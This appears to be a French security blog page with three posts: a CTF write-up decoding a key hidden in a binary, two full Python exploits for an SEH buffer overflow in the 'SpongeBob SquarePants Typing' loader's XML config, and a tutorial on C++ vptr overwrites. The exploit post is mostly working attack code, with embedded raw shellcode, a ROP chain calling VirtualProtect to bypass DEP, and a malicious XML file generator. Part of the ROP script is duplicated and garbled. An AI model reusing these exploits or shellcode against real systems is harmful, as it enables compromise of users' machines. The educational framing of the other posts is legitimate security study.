Une fois l'archive récupéré, on se rend compte que c'est un rootfs.
On touille dedans pendant un moment, en se demandant mais qu'est qu'on cherche ?

A partir de là on teste de faire differ à partir du pdf original :

http://jailbreakme.com/_/iPhone2%2c1_3.1.2.pdf

Mise à part des ".svn" un binaire nous saute aux yeux : /usr/bin/dd
Si on string dessus, ca n'a pas du tout l'air d'un binaire dd.
On regarde avec IDA le code ARM mais sans résultat, ce code ne fait strictement rien, d'intéressant.
Par ailleur il y a 4 grand nombres qui ressortent, on décide donc de les mettre dans des double dans un programme en C :

#include <stdio.h>

double
a=41358753080588780315500696417148503196370008505043360338644939021284539327654424368206170740213813076058322365516034006270625614745638277215965686397551374257625369654940618745555501980517665488240640.000000;
double
b=273020167277193934342483321951392739131140631949880731514555218503200924051802886516416983650292597201352459748672990971210795734498587443982103979231419127824384.000000;
double
c=109868682199889090983893607446542759799370795099978204527886814871815275332732684149782782932243583477726231807149879389352427825978796531514954916754473975757796372140255258111985922092457311221042226817127194804092923531694479704498641458322997248.000000;
double
d=8887824086628450300085222950423508459269193936749714415660759918033307608850811297588582757614917095982291010098451602122996273175590810261747631678220597664532468741350897995232883808808537964727011624779797357169712195651789942060581116921485444775936.000000;


int main(void)
{
  char *p = NULL;
  int i;

  p = (char*)&a;
  for (i = 0; i < sizeof(double); i++)
    printf("%c", p[i]);
  p = (char*)&b;
  for (i = 0; i < sizeof(double); i++)
    printf("%c", p[i]);
  p = (char*)&c;
  for (i = 0; i < sizeof(double); i++)
    printf("%c", p[i]);
  p = (char*)&d;
  for (i = 0; i < sizeof(double); i++)
    printf("%c", p[i]);
}

Key

Et cela nous affiche gentiment la clef qui est :

DDTEKJailbreaksarethemostbestest

08/05/2011

Playing with SpongeBob

Introduction

Ce billet est là juste pour le fun et pour faire un petit signe de vie.

Il est dimanche, un lendemain de soirée, je me demande bien ce que je vais faire, un ami "thrashboul" m'avait montré un lien sur pastebin d'un exploit pour SpongeBob ( oui ! le jeux bob l'éponge), ne remettant pas la main dessus. Je me décide de le réecrire.

Problème

Le probléme se situe dans le loader du jeu "SpongeBob SquarePants Typing", il parse un fichier xml et récupère un path se situant dans la balise <userPath> mais ne vérifie pas la longueur de la chaine. Vous vous en doutez, ça aboutit sur un buffer overflow mais plus précisément sur un seh overwrite.

Je vais juste poster ici mes 2 exploits, un dans le cas ou sur la machine DEP n'est pas activé et l'autre dans le cas ou cette protection est belle est bien active. Ici ce sont des windows XP SP3.

SEH overwrite without defeating dep

#!/usr/bin/env python

from struct import pack,unpack

###########################################################################################
#                                                                                         #
# First excpetion occurs -------------||                                                  #
#                                     ||                                                  #
#                         |-----------||---------------|                                  #
#                        |           ||               |                                  #
#                         |           \/               \/                                 #
#      [Junk Buffer] [Next SEH]    [SE Handler]  [Shellcode]                              #
#                     jmp over    pop pop ret                                             #
#                     SE handler       |                                                  #
#                       /\            |                                                  #
#                       ||            |                                                  #
#                       ||------------|                                                  #
#                                                                                         #
###########################################################################################

f = open('salstartup.xml', 'w')

content_begin = """<?xml version="1.0" standalone="yes"?>
<startup>
  <userPath>\""""

shellcode = "\xd9\xf6\xba\x24\xb5\x20\x67\xd9\x74\x24\xf4\x5f\x2b\xc9\xb1\x38\x31\x57\x17\x03\x57\x17\x83\xcb\x49\xc2\x92\xef\x5a\x8a\x5d\x0f\x9b\xed\xd4\xea\xaa\x3f\x82\x7f\x9e\x8f\xc0\x2d\x13\x7b\x84\xc5\xa0\x09\x01\xea\x01\xa7\x77\xc5\x92\x09\xb8\x89\x51\x0b\x44\xd3\x85\xeb\x75\x1c\xd8\xea\xb2\x40\x13\xbe\x6b\x0f\x86\x2f\x1f\x4d\x1b\x51\xcf\xda\x23\x29\x6a\x1c\xd7\x83\x75\x4c\x48\x9f\x3e\x74\xe2\xc7\x9e\x85\x27\x14\xe2\xcc\x4c\xef\x90\xcf\x84\x21\x58\xfe\xe8\xee\x67\xcf\xe4\xef\xa0\xf7\x16\x9a\xda\x04\xaa\x9d\x18\x77\x70\x2b\xbd\xdf\xf3\x8b\x65\xde\xd0\x4a\xed\xec\x9d\x19\xa9\xf0\x20\xcd\xc1\x0c\xa8\xf0\x05\x85\xea\xd6\x81\xce\xa9\x77\x93\xaa\x1c\x87\xc3\x12\xc0\x2d\x8f\xb0\x15\x57\xd2\xde\xe8\xd5\x68\xa7\xeb\xe5\x72\x87\x83\xd4\xf9\x48\xd3\xe8\x2b\x2d\x2b\xa3\x76\x07\xa4\x6a\xe3\x1a\xa9\x8c\xd9\x58\xd4\x0e\xe8\x20\x23\x0e\x99\x25\x6f\x88\x71\x57\xe0\x7d\x76\xc4\x01\x54\x15\xd0\xa1\x20\xb3\x4a\x3e\xa0\x34\xe1\xe2\x4d\xc2\x76\x6f\xd7\x59\x4b\xbd\x4b\xc1\xca\xad\x10\x2b\x69\x56\xb2\x33"

junk = 'Z' * 1024

spled = "\x90" * 1000

jump_6 = "\xeb\x06\x90\x90"
pop_pop_ret = pack("<I", 0x21134E57) # pop pop ret from mss32.dll (/SAFESEH:NO)

content_end = """\"</userPath>
  <cdName>"SpongeBob SquarePants Typing"</cdName>
  <cdAge>7-10</cdAge>
  <music>1000</music>
  <pdfInstaller>"C:\wtf\Nouveau dossier\INSTALL\ACROBAT\Ver50\Acrobat Reader 5 Installer.exe"</pdfInstaller>
  <signin>
    <execute>yes</execute>
    <style>tlc</style>
    <age>4To6</age>
    <rscFile>default</rscFile>
  </signin>
  <disk1>
    <filename>"C:\wtf\Nouveau dossier\TLC\383167-CD"</filename>
    <cdName>"SpongeBob SquarePants Typing"</cdName>
  </disk1>
  <screenRSC>salstartup.rsc</screenRSC>
  <screen>
    <element>
      <condition>all</condition>
      <type>scene</type>
      <id>9100</id>
    </element>
    <element>
      <condition>all</condition>
      <type>toon</type>
      <x>0</x>
      <y>0</y>
      <id>9100</id>
      <startFrame>1</startFrame>
    </element>
    <mainPlayButton>
      <condition>all</condition>
      <type>fob</type>
      <class>play</class>
      <cdCheck>disk1</cdCheck>
      <target>"C:\Program Files\The Learning Company\SpongeBob SquarePants Typing\SPT.exe"</target>
      <postLaunch>wait</postLaunch>
      <x>461</x>
      <y>60</y>
      <id>9124</id>
    </mainPlayButton>
    <helpButton>
      <condition>all</condition>
      <type>fob</type>
      <class>extension</class>
      <cdCheck></cdCheck>
      <target>"C:\Program Files\The Learning Company\SpongeBob SquarePants Typing\User&apos;s Guide.pdf"</target>
      <parameters></parameters>
      <postLaunch>wait</postLaunch>
      <x>543</x>
      <y>158</y>
      <id>9126</id>
    </helpButton>
    <uninstallButton>
      <condition>all</condition>
      <type>fob</type>
      <class>uninstall</class>
      <target>C:\WINDOWS\TLCUninstall.exe</target>
      <parameters>-l</parameters>
      <crc>"C:\Program Files\The Learning Company\SpongeBob SquarePants Typing\Uninstall.xml"</crc>
      <postLaunch>exit</postLaunch>
      <x>514</x>
      <y>373</y>
      <id>9125</id>
    </uninstallButton>
    <onlineButton>
      <condition>all</condition>
      <type>fob</type>
      <class>link</class>
      <cdCheck></cdCheck>
      <target>http://redirect.expressit.com/redirect.asp?resku=383167&amp;action_id=Launcher</target>
      <parameters></parameters>
      <postLaunch>wait</postLaunch>
      <x>538</x>
      <y>263</y>
      <yy>375</yy>
      <id>9130</id>
    </onlineButton>
    <EregButton>
      <condition>all</condition>
      <type>fob</type>
      <class>install</class>
      <cdCheck></cdCheck>
      <target>"C:\Program Files\The Learning Company\SpongeBob SquarePants Typing\ereg\ereg32.exe"</target>
      <parameters></parameters>
      <postLaunch>wait</postLaunch>
      <x>522</x>
      <y>324</y>
      <id>9129</id>
    </EregButton>
    <SellScreen>
      <condition>all</condition>
      <type>fob</type>
      <class>link</class>
      <cdCheck>disk1</cdCheck>
      <target>startup:startup/BrandingPage</target>
      <parameters></parameters>
      <postLaunch>wait</postLaunch>
      <x>543</x>
      <y>207</y>
      <id>9128</id>
    </SellScreen>
  </screen>
  <BrandingPage>
    <element>
      <condition>all</condition>
      <type>toon</type>
      <id>5000</id>
    </element>
    <screenSaverButton>
      <condition>all</condition>
      <type>fob</type>
      <class>install</class>
      <cdCheck>disk1</cdCheck>
      <target>"C:\wtf\Nouveau dossier\SailorificStuff\sbscreen_setup.exe"</target>
      <parameters></parameters>
      <postLaunch>wait</postLaunch>
      <x>546</x>
      <y>188</y>
      <id>5054</id>
    </screenSaverButton>
    <backButton>
      <condition>all</condition>
      <type>fob</type>
      <class>link</class>
      <target>startup:startup/screen</target>
      <x>537</x>
      <y>263</y>
      <id>5055</id>
    </backButton>
  </BrandingPage>
  <sysReq>
    <execute>yes</execute>
    <pc>
      <processor>
        <family>pentium</family>
        <speed>266</speed>
        <msgType>warn</msgType>
        <msgText>"266 MHz Pentium or faster is recommended."</msgText>
      </processor>
      <os>
        <Win95>no</Win95>
        <Win98>yes</Win98>
        <WinMe>yes</WinMe>
        <WinNT4>no</WinNT4>
        <Win2000>yes</Win2000>
        <WinXP>yes</WinXP>
        <msgType>warn</msgType>
        <msgText>"You operating system is not supported. Play at your own risk!"</msgText>
      </os>
      <diskSpace>
        <mbAvailable>100</mbAvailable>
        <msgType>ignore</msgType>
        <msgText>"There is not enough hard disk space available to play!"</msgText>
      </diskSpace>
      <physicalRAM>
        <mbAvailable>64</mbAvailable>
        <msgType>warn</msgType>
        <msgText>"There is not enough RAM available to play!"</msgText>
      </physicalRAM>
      <availableRAM>
        <mbAvailable>64</mbAvailable>
        <msgType>warn</msgType>
        <msgText>You are low on memory!</msgText>
      </availableRAM>
      <display>
        <width>800</width>
        <height>600</height>
        <bits>16</bits>
        <msgType>fail</msgType>
        <msgText>"Your display is not capable of 800 x 600 16-bit, thousands of colors."</msgText>
      </display>
      <sound>
        <msgType>fail</msgType>
        <msgText>"WAVE driver is not available."</msgText>
      </sound>
    </pc>
    <mac>
      <processor>
        <family>ppc</family>
        <speed>233</speed>
        <msgType>warn</msgType>
        <msgText>"233 MHz Powerpc or faster is recommended."</msgText>
      </processor>
      <os>
        <minVersion>0860</minVersion>
        <msgType>fail</msgType>
        <msgType>fail</msgType>
        <msgText>"Your display is not capable of 800 x 600 16-bit, thousands of colors."</msgText>
      </display>
      <sound>
        <msgType>fail</msgType>
        <msgText>"WAVE driver is not available."</msgText>
      </sound>
    </pc>
    <mac>
      <processor>
        <family>ppc</family>
        <speed>233</speed>
        <msgType>warn</msgType>
        <msgText>"233 MHz Powerpc or faster is recommended."</msgText>
      </processor>
      <os>
        <minVersion>0860</minVersion>
        <msgType>fail</msgType>
        <msgText>"You must run System 8.6 or above!"</msgText>
      </os>
      <osX>
        <minVersion>1004</minVersion>
        <msgType>fail</msgType>
        <msgText>"You must run OSX 10.04 or above!"</msgText>
      </osX>
      <diskSpace>
        <mbAvailable>100</mbAvailable>
        <msgType>ignore</msgType>
        <msgText>"There is not enough hard disk space available to play!"</msgText>
      </diskSpace>
      <physicalRAM>
        <mbAvailable>64</mbAvailable>
        <msgType>warn</msgType>
        <msgText>"There is not enough RAM available to play!"</msgText>
      </physicalRAM>
      <availableRAM>
        <mbAvailable>0</mbAvailable>
        <msgType>warn</msgType>
        <msgText></msgText>
      </availableRAM>
      <colorDepth>
        <minBits>16</minBits>
        <msgType>warn</msgType>
        <msgText>"Your display is not capable of 16-bit, thousands of colors."</msgText>
      </colorDepth>
      <sound>
        <available>ignore</available>
        <msgType>ignore</msgType>
        <msgText></msgText>
      </sound>
    </mac>
  </sysReq>
</startup>"""


f.write(content_begin + junk + jump_6 + pop_pop_ret + shellcode + spled  + content_end)

SEH overwrite using rop

Ici j'ai dégagé tout le xml et je n'ai laissé que la partie fun c'est à dire toute la partie qui me permet de pivoter ma stack, la chaine de rop pour générer mes paramètres pour un call a VirtalProtect() afin de rendre la zone mémoire ou réside mon shellcode en PAGEEXECUTEREADWRITE.

#!/usr/bin/env python

from struct import pack,unpack

shellcode = "\xd9\xf6\xba\x24\xb5\x20\x67\xd9\x74\x24\xf4\x5f\x2b\xc9\xb1\x38\x31\x57\x17\x03\x57\x17\x83\xcb\x49\xc2\x92\xef\x5a\x8a\x5d\x0f\x9b\xed\xd4\xea\xaa\x3f\x82\x7f\x9e\x8f\xc0\x2d\x13\x7b\x84\xc5\xa0\x09\x01\xea\x01\xa7\x77\xc5\x92\x09\xb8\x89\x51\x0b\x44\xd3\x85\xeb\x75\x1c\xd8\xea\xb2\x40\x13\xbe\x6b\x0f\x86\x2f\x1f\x4d\x1b\x51\xcf\xda\x23\x29\x6a\x1c\xd7\x83\x75\x4c\x48\x9f\x3e\x74\xe2\xc7\x9e\x85\x27\x14\xe2\xcc\x4c\xef\x90\xcf\x84\x21\x58\xfe\xe8\xee\x67\xcf\xe4\xef\xa0\xf7\x16\x9a\xda\x04\xaa\x9d\x18\x77\x70\x2b\xbd\xdf\xf3\x8b\x65\xde\xd0\x4a\xed\xec\x9d\x19\xa9\xf0\x20\xcd\xc1\x0c\xa8\xf0\x05\x85\xea\xd6\x81\xce\xa9\x77\x93\xaa\x1c\x87\xc3\x12\xc0\x2d\x8f\xb0\x15\x57\xd2\xde\xe8\xd5\x68\xa7\xeb\xe5\x72\x87\x83\xd4\xf9\x48\xd3\xe8\x2b\x2d\x2b\xa3\x76\x07\xa4\x6a\xe3\x1a\xa9\x8c\xd9\x58\xd4\x0e\xe8\x20\x23\x0e\x99\x25\x6f\x88\x71\x57\xe0\x7d\x76\xc4\x01\x54\x15\xd0\xa1\x20\xb3\x4a\x3e\xa0\x34\xe1\xe2\x4d\xc2\x76\x6f\xd7\x59\x4b\xbd\x4b\xc1\xca\xad\x10\x2b\x69\x56\xb2\x33"

junk = 'Z' * (1000 - len(shellcode) - 0x17)

junk += shellcode

junk += "Z" * 0x17

junk += pack("<I", 0x7C97A1A8) # 0x7C97A1A8 :  {POP}  # PUSH ESP # ADD BH,BH # DEC ECX # POP EAX # POP EBP # RETN 4       [Module : ntdll.dll]  ** 

junk += "Z" * 4

junk += pack("<I", 0x77EA9C3E)  # 0x77EA9C3E :  {POP}  # ADD EAX,0E # POP ESI # POP EBP # RETN 8  [Module : RPCRT4.dll]  ** 

junk += 'Z' * 12

junk += pack("<I", 0x77BED8A9) # 0x77BED8A9 :  # SUB EAX,20 # POP EBP # RETN      [Module : msvcrt.dll]  ** 

junk += pack("<I", 0x2112BF80) # SEH HANDLER # 0x2112BF80 : 800  :         # ADD ESP,800 # RETN - mss32.dll -  ** 

junk += "Z" * 8

for i in range(1, 9):
        junk += pack("<I", 0x77BED8A9) # 0x77BED8A9 :  # SUB EAX,20 # POP EBP # RETN      [Module : msvcrt.dll]  ** 
        junk += "Z" * 4
        
junk += pack("<I", 0x7C81E6D9) # 0x7C81E6D9 :  # MOV EDI,EAX # RETN       [Module : kernel32.dll]  **

junk += pack("<I", 0x77BED8A9) # 0x77BED8A9 :  # SUB EAX,20 # POP EBP # RETN      [Module : msvcrt.dll]  ** 
junk += "Z" * 4
junk += pack("<I", 0x77BED8A9) # 0x77BED8A9 :  # SUB EAX,20 # POP EBP # RETN      [Module : msvcrt.dll]  ** 
junk += "Z" * 4

junk += pack("<I", 0x7C97A1A8) # 0x7C97A1A8 :  {POP}  # PUSH ESP # ADD BH,BH # DEC ECX # POP EAX # POP EBP # RETN 4       [Module : ntdll.dll]  ** 
junk += "Z" * 4

junk += pack("<I", 0x7759156D) # 0x7759156D :  # INC ESI # PUSH EAX # POP ESI # RETN      [Module : ole32.dll]  ** 

junk += "Z" * 4

junk += pack("<I", 0x77BEE842) # 0x77BEE842 :  {POP}  # PUSH EDI # POP EAX # POP EBP # RETN       [Module : msvcrt.dll]  ** 

junk += "Z" * 4

junk += pack("<I", 0x58BB8E2A) # 0x58BB8E2A :  # MOV DWORD PTR DS:[ESI+84],EAX # MOV EAX,ESI # POP ESI # RETN     [Module : COMCTL32.dll]  **  

junk += "Z" * 4

junk += pack("<I", 0x774F5103) # 0x774F5103 :  # ADD EAX,4 # RETN         [Module : ole32.dll]  ** 

junk += pack("<I", 0x7759156D) # 0x7759156D :  # INC ESI # PUSH EAX # POP ESI # RETN      [Module : ole32.dll]  ** 

junk += pack("<I", 0x77BEE842) # 0x77BEE842 :  {POP}  # PUSH EDI # POP EAX # POP EBP # RETN       [Module : msvcrt.dll]  ** 

junk += "Z" * 4

junk += pack("<I", 0x58BB8E2A) # 0x58BB8E2A :  # MOV DWORD PTR DS:[ESI+84],EAX # MOV EAX,ESI # POP ESI # RETN     [Module : COMCTL32.dll]  **  

junk += "Z" * 4

junk += pack("<I", 0x774F5103) # 0x774F5103 :  # ADD EAX,4 # RETN         [Module : ole32.dll]  **  

junk += pack("<I", 0x7759156D) # 0x7759156D :  # INC ESI # PUSH EAX # POP ESI # RETN      [Module : ole32.dll]  **

#junk += pack("<I", 0x7752E074) # 0x7752E074 :  # XOR EAX,EAX # ADD EAX,328 # RETN  [Module : ole32.dll]  ** 

junk += pack("<I", 0x77C241E1) # 0x77C241E1 :  # XOR EAX,EAX # RETN       [Module : msvcrt.dll]  ** 

junk += pack("<I", 0x775A1457) # 0x775A1457 :  # ADD EAX,23C # RETN       [Module : ole32.dll]  ** 

junk += pack("<I", 0x58BB8E2A) # 0x58BB8E2A :  # MOV DWORD PTR DS:[ESI+84],EAX # MOV EAX,ESI # POP ESI # RETN     [Module : COMCTL32.dll]  ** 

junk += "Z" * 4 
        
junk += pack("<I", 0x774F5103) # 0x774F5103 :  # ADD EAX,4 # RETN         [Module : ole32.dll]  **                

junk += pack("<I", 0x7759156D) # 0x7759156D :  # INC ESI # PUSH EAX # POP ESI # RETN      [Module : ole32.dll]  **
>) # 0x774F5103 :  # ADD EAX,4 # RETN         [Module : ole32.dll]  **  

junk += pack("<I", 0x7759156D) # 0x7759156D :  # INC ESI # PUSH EAX # POP ESI # RETN      [Module : ole32.dll]  **

#junk += pack("<I", 0x7752E074) # 0x7752E074 :  # XOR EAX,EAX # ADD EAX,328 # RETN  [Module : ole32.dll]  ** 

junk += pack("<I", 0x77C241E1) # 0x77C241E1 :  # XOR EAX,EAX # RETN       [Module : msvcrt.dll]  ** 

junk += pack("<I", 0x775A1457) # 0x775A1457 :  # ADD EAX,23C # RETN       [Module : ole32.dll]  ** 

junk += pack("<I", 0x58BB8E2A) # 0x58BB8E2A :  # MOV DWORD PTR DS:[ESI+84],EAX # MOV EAX,ESI # POP ESI # RETN     [Module : COMCTL32.dll]  ** 

junk += "Z" * 4 
        
junk += pack("<I", 0x774F5103) # 0x774F5103 :  # ADD EAX,4 # RETN         [Module : ole32.dll]  **                

junk += pack("<I", 0x7759156D) # 0x7759156D :  # INC ESI # PUSH EAX # POP ESI # RETN      [Module : ole32.dll]  **

junk += pack("<I", 0x77C241E1) # 0x77C241E1 :  # XOR EAX,EAX # RETN       [Module : msvcrt.dll]  **

junk += pack("<I", 0x77C1EC1D) # 0x77C1EC1D :  # ADD EAX,40 # POP EBP # RETN      [Module : msvcrt.dll]  ** 

junk += "Z" * 4

junk += pack("<I", 0x58BB8E2A) # 0x58BB8E2A :  # MOV DWORD PTR DS:[ESI+84],EAX # MOV EAX,ESI # POP ESI # RETN     [Module : COMCTL32.dll]  ** 
 
for i in range(1, 8):
        junk += pack("<I", 0x77C241E1) # 0x77C241E1 :  # XOR EAX,EAX # RETN       [Module : msvcrt.dll]  ** 

params = pack("<I", 0x7C801AD4) # 0x7C801AD4 : VirtualProtect()
params = params + "OSEF"
params = params + "OSEF"
params = params + "OSEF"
params = params + "OSEF"
params = params + pack("<I",0x2114d010)


nops = '\x90' * 900


payload = junk + params + nops

f.write(content_begin + payload + content_end)

Éclatez vous bien :].

29/01/2011

Having fun with vptr

Présentation

Chaque classe qui utilise des méthodes virtuelles ( ou qui dérive d'une classe qui utilise des méthodes virtuelles ) lui est attribuée une virtual table. Cette table est simplement un tableau que le compilateur va créer statiquement.

Une vtable va contenir une entrée ( qui sera en l'occurence un pointeur de fonction ) pour chaque méthode qui peuvent etre appelé par la classe.

Afin de permettre à chacune des instances de notre objet d'accéder a sa vtable, le compilateur va ajouter un pointeur vers cette table qu'on appelle le vptr.

Exemple

#include <stdio.h>
#include <string.h>
#include <iostream>


class   Person
{
 public:

  virtual void name_set (char *name)
  {
    strcpy (name_, name);
  }
  virtual void print ()
  {
    std::cout << "My name is " << name_ << std::endl;
  }

 private:

  char name_[32];
};

class Man : public Person
{

 public:
  void print ()
  {
    std::cout << "I'm a Man" << std::endl;
    Person::print ();
  }
};

class Women : public Person
{
 public:

  void print ()
  {
    std::cout << "I'm a Women" << std::endl;
    Person::print ();
  }
};
int             main(int argc, char **argv)
{
  Person        *person_one = 0;
  Person        *person_two = 0;

  person_one = new Man;
  person_two = new Women;
  person_one->name_set (argv[1]);
  person_two->name_set (argv[1]);
  person_one->print ();
  person_two->print ();
  return (0);
}

Ici nous avons affaire à 3 classes, donc notre compilateur mettra en place 3 vtable. Une pour Person, une pour Man et une pour Women.

Le compilateur va ajouter un pointeur dans la classe mère pour permettre aux instances de nos classe fille, d'accéder à leur vtable au moment de l'éxecution de la maniere suivante :

class   Person
{
public:
        FuncPtr*__vptr;
        void name_set (char *name); 
    ...etc...
};

Hmm un schéma serait plus clair non ?

vtable_schema

Regardons le disas de tout ça :

(gdb) disas main
Dump of assembler code for function main:
0x08048620 <main+0>:    lea    ecx,[esp+4]
0x08048624 <main+4>:    and    esp,0xfffffff0
0x08048627 <main+7>:    push   DWORD PTR [ecx-4]
0x0804862a <main+10>:   push   ebp
0x0804862b <main+11>:   mov    ebp,esp
0x0804862d <main+13>:   push   esi
0x0804862e <main+14>:   push   ebx
0x0804862f <main+15>:   push   ecx
0x08048630 <main+16>:   sub    esp,0x1c
0x08048633 <main+19>:   mov    esi,ecx
0x08048635 <main+21>:   mov    DWORD PTR [ebp-20],0x0
0x0804863c <main+28>:   mov    DWORD PTR [ebp-16],0x0
0x08048643 <main+35>:   mov    DWORD PTR [esp],0x24     // 0x24 = 36 octets ( 32 octets pour le buffer + 4 octets pour la vtable )
0x0804864a <main+42>:   call   0x80484a4 <_init+84>       // Appel a new pour reserver 36 octets dans notre heap
0x0804864f <main+47>:   mov    ebx,eax
0x08048651 <main+49>:   mov    DWORD PTR [esp],ebx          // On place le pointeur this (persone_one) sur la stack
0x08048654 <main+52>:   call   0x80486f0 <_ZN3ManC1Ev>  // Appel au constructeur Man ()
0x08048659 <main+57>:   mov    DWORD PTR [ebp-20],ebx
0x0804865c <main+60>:   mov    DWORD PTR [esp],0x24      // 0x24 = 36 octets ( 32 octets pour le buffer + 4 octets pour la vtable )
0x08048663 <main+67>:   call   0x80484a4 <_init+84>        // Appel a new pour reserver 36 octets dans notre heap
0x08048668 <main+72>:   mov    ebx,eax
0x0804866a <main+74>:   mov    DWORD PTR [esp],ebx               // On place le pointeur this (persone_two) sur la stack
0x0804866d <main+77>:   call   0x8048710 <_ZN5WomenC1Ev>  // Appel au constructeur Women ()
0x08048672 <main+82>:   mov    DWORD PTR [ebp-16],ebx
0x08048675 <main+85>:   mov    eax,DWORD PTR [ebp-20]          // On recupere notre pointeur sur l'objet persone_one
0x08048678 <main+88>:   mov    eax,DWORD PTR [eax]               // Eax recoit l'adresse de la vtable
0x0804867a <main+90>:   mov    edx,DWORD PTR [eax]               // Edx recoit l'adresse de la methode Person::name_set
0x0804867c <main+92>:   mov    eax,DWORD PTR [esi+4]
0x0804867f <main+95>:   add    eax,0x4
0x08048682 <main+98>:   mov    eax,DWORD PTR [eax]
0x08048684 <main+100>:  mov    DWORD PTR [esp+4],eax
0x08048688 <main+104>:  mov    eax,DWORD PTR [ebp-20]
0x0804868b <main+107>:  mov    DWORD PTR [esp],eax              // On place le pointeur this (persone_one) sur la stack
0x0804868e <main+110>:  call   edx                                          // On apelle la methode Person::name_set
0x08048690 <main+112>:  mov    eax,DWORD PTR [ebp-16]         // On recupere notre pointeur sur l'objet persone_two
0x08048693 <main+115>:  mov    eax,DWORD PTR [eax]             // Eax recoit l'adresse de la vtable
0x08048695 <main+117>:  mov    edx,DWORD PTR [eax]             // Edx recoit l'adresse de la methode Person::name_set
0x08048697 <main+119>:  mov    eax,DWORD PTR [esi+4]
0x0804869a <main+122>:  add    eax,0x4
0x0804869d <main+125>:  mov    eax,DWORD PTR [eax]
0x0804869f <main+127>:  mov    DWORD PTR [esp+4],eax
0x080486a3 <main+131>:  mov    eax,DWORD PTR [ebp-16]
0x080486a6 <main+134>:  mov    DWORD PTR [esp],eax             // On place le pointeur this (persone_two) sur la stack
0x080486a9 <main+137>:  call   edx                                         // On apelle la methode Person::name_set
0x080486ab <main+139>:  mov    eax,DWORD PTR [ebp-20]        // On recupere notre pointeur sur l'objet persone_one
0x080486ae <main+142>:  mov    eax,DWORD PTR [eax]             // Eax recoit l'adresse de la vtable
0x080486b0 <main+144>:  add    eax,0x4                                 // On ajoute 4 pour arriver sur la deuxieme entree de la vtable pour recuper le pointeur sur la methode print
0x080486b3 <main+147>:  mov    edx,DWORD PTR [eax]            // Edx recoit l'adresse de la methode Man::print
0x080486b5 <main+149>:  mov    eax,DWORD PTR [ebp-20]
0x080486b8 <main+152>:  mov    DWORD PTR [esp],eax            // On place le pointeur this (persone_one) sur la stack
0x080486bb <main+155>:  call   edx                                        // On apelle la methode Man::print
0x080486bd <main+157>:  mov    eax,DWORD PTR [ebp-16]       // On recupere notre pointeur sur l'objet persone_two
0x080486c0 <main+160>:  mov    eax,DWORD PTR [eax]            // Eax recoit l'adresse de la vtable
0x080486c2 <main+162>:  add    eax,0x4                                // On ajoute 4 pour arriver sur la deuxieme entree de la vtable pour recuper le pointeur sur la methode print
0x080486c5 <main+165>:  mov    edx,DWORD PTR [eax]            // Edx recoit l'adresse de la methode Women::print
0x080486c7 <main+167>:  mov    eax,DWORD PTR [ebp-16]
0x080486ca <main+170>:  mov    DWORD PTR [esp],eax            // On place le pointeur this (persone_two) sur la stack
0x080486cd <main+173>:  call   edx                                       // On apelle la methode Man::print
0x080486cf <main+175>:  mov    eax,0x0
0x080486d4 <main+180>:  add    esp,0x1c
0x080486d7 <main+183>:  pop    ecx
0x080486d8 <main+184>:  pop    ebx
0x080486d9 <main+185>:  pop    esi
0x080486da <main+186>:  pop    ebp
0x080486db <main+187>:  lea    esp,[ecx-4]
0x080486de <main+190>:  ret    
0x080486df <main+191>:  nop    
End of assembler dump.

Analyse

vtable_schema

Après cette petite analyse sous gdb, on peut schématiser tout ça :

vtable_schema

Avec le code pris comme exemple (présence de strcpy), il nous vient à l'idée de faire déborder le buffer de l'objet persone_one et venir écraser le pointeur sur la vtable (Women __vptr) de l'objet person_two.

Partons sur un exemple d'exploitation ou aucun système comme l'ASLR n'est en place :


% ./a.out name
I'm a man
My name is name
I'm a women // La methode print de la classe Women est bien appelle 
My name is name
% ./a.out perl -e'print "A"x(32+12) . "\x70\x88\x04\x08"'
I'm a man
My name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAp
I'm a man   // C'est un objet de type Women mais en remplacant son vptr, il appelle la methode print appartenant a un objet de type Man
My name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAp
En espérant vous avoir donné quelques idées et qu'il n'y a pas que les programmes C qui peuvent etre exploités.

Pages : 1 2 3 4 5